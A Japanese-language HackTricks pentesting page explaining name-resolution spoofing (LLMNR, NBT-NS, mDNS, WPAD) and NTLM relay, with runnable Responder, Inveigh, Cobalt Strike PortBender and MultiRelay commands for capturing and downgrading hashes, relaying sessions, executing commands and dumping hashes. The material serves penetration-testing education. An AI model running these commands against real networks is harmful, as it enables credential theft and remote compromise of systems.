Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

ネットワークプロトコル

ローカルホスト解決プロトコル

  • LLMNR、NBT-NS、およびmDNS

  • Microsoftおよび他のオペレーティングシステムは、DNSが失敗した場合にローカル名の解決にLLMNRおよびNBT-NSを使用します。同様に、AppleおよびLinuxシステムはmDNSを使用します。

  • これらのプロトコルは、UDPを介した認証されていないブロードキャスト性質により、傍受およびスプーフィングの影響を受けやすくなっています。

  • Responderを使用して、これらのプロトコルをクエリするホストに偽の応答を送信することで、サービスをなりすますことができます。

  • Responderを使用したサービスのなりすましに関する詳細情報はこちらにあります。

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPADはブラウザがプロキシ設定を自動的に検出することを可能にします。

  • 検出は、DHCP、DNS、またはDNSが失敗した場合はLLMNRおよびNBT-NSによって行われます。

  • Responderを使用して、クライアントを悪意のあるWPADサーバに誘導するWPAD攻撃を自動化できます。

プロトコルポイズニングのためのResponder

  • Responderは、LLMNR、NBT-NS、およびmDNSクエリを毒化するためのツールであり、クエリタイプに基づいて選択的に応答し、主にSMBサービスを対象としています。

  • Kali Linuxには事前にインストールされており、/etc/responder/Responder.confで設定可能です。

  • Responderはキャプチャされたハッシュを画面に表示し、/usr/share/responder/logsディレクトリに保存します。

  • IPv4およびIPv6の両方をサポートしています。

  • ResponderのWindowsバージョンはこちらで入手できます。

Responderの実行

  • デフォルト設定でResponderを実行するには:responder -I <Interface>

  • より積極的なプロービングを行う場合(潜在的な副作用がある):responder -I <Interface> -P -r -v

  • NTLMv1のチャレンジ/レスポンスをキャプチャしてクラックを容易にするためのテクニック:responder -I <Interface> --lm --disable-ess

  • WPADなりすましを有効にするには:responder -I <Interface> --wpad

  • NetBIOSリクエストを攻撃者のIPに解決し、認証プロキシを設定する:responder.py -I <interface> -Pv

Responderを使用したDHCPポイズニング

  • DHCP応答のスプーフィングは、ARPポイズニングに比べてネットワークのルーティング情報を永続的に毒化することができ、より慎重な代替手段を提供します。

  • ターゲットネットワークの構成について正確な知識が必要です。

  • 攻撃の実行:./Responder.py -I eth0 -Pdv

  • この方法は効果的にNTLMv1/2ハッシュをキャプチャできますが、ネットワークの混乱を避けるために注意深く取り扱う必要があります。

Responderを使用した資格情報のキャプチャ

  • Responderは上記のプロトコルを使用してサービスをなりすまし、ユーザーがなりすましサービスに認証しようとするときに資格情報(通常はNTLMv2チャレンジ/レスポンス)をキャプチャします。

  • NetNTLMv1へのダウングレードやESSの無効化を試みることで、資格情報のクラックを容易にすることができます。

これらの技術を適切に使用するためには、適切な権限を確保し、不正アクセスや混乱を避けるために合法的かつ倫理的に行動することが重要です。

Inveigh

Inveighは、Windowsシステム向けに設計されたペネトレーションテスターおよびレッドチーム向けのツールです。Responderと同様の機能を提供し、スプーフィングや中間者攻撃を実行します。このツールはPowerShellスクリプトからC#バイナリに進化し、InveighおよびInveighZeroが主要なバージョンとして提供されています。詳細なパラメータや手順については、wikiを参照してください。

InveighはPowerShellを介して操作できます:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

または、C# バイナリとして実行されます:

Inveigh.exe

NTLM Relay Attack

この攻撃は、SMB認証セッションを利用してターゲットマシンにアクセスし、成功するとシステムシェルを取得します。主な前提条件は次のとおりです:

  • 認証ユーザーは、中継ホストでのローカル管理者アクセス権を持っている必要があります。

  • SMB署名が無効になっている必要があります。

445ポートのフォワーディングとトンネリング

直接ネットワーク導入が困難なシナリオでは、ポート445のトラフィックをフォワーディングおよびトンネリングする必要があります。PortBenderのようなツールは、ポート445のトラフィックを別のポートにリダイレクトするのに役立ちます。これは、ローカル管理者アクセス権がドライバーのロードに利用可能な場合に重要です。

Cobalt StrikeでのPortBenderのセットアップと操作:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM Relay Attack用のその他のツール

  • Metasploit: プロキシ、ローカルおよびリモートホストの詳細を設定します。

  • smbrelayx: SMBセッションを中継し、コマンドを実行したりバックドアを展開するためのPythonスクリプトです。

  • MultiRelay: 特定のユーザーまたはすべてのユーザーを中継し、コマンドを実行したりハッシュをダンプするためのResponderスイートからのツールです。

必要に応じて各ツールはSOCKSプロキシを介して操作できるように構成でき、間接的なネットワークアクセスでも攻撃を可能にします。

MultiRelayの操作

MultiRelayは /usr/share/responder/tools ディレクトリから実行され、特定のIPアドレスまたはユーザーを対象とします。

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

NTLMリレーアタックを実行するための包括的なセットを形成するこれらのツールと技術。

NTLMログインを強制する

Windowsでは、特権アカウントの一部を任意のマシンに認証させることができる場合があります。次のページを読んで詳細を学んでください:

pageForce NTLM Privileged Authentication

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated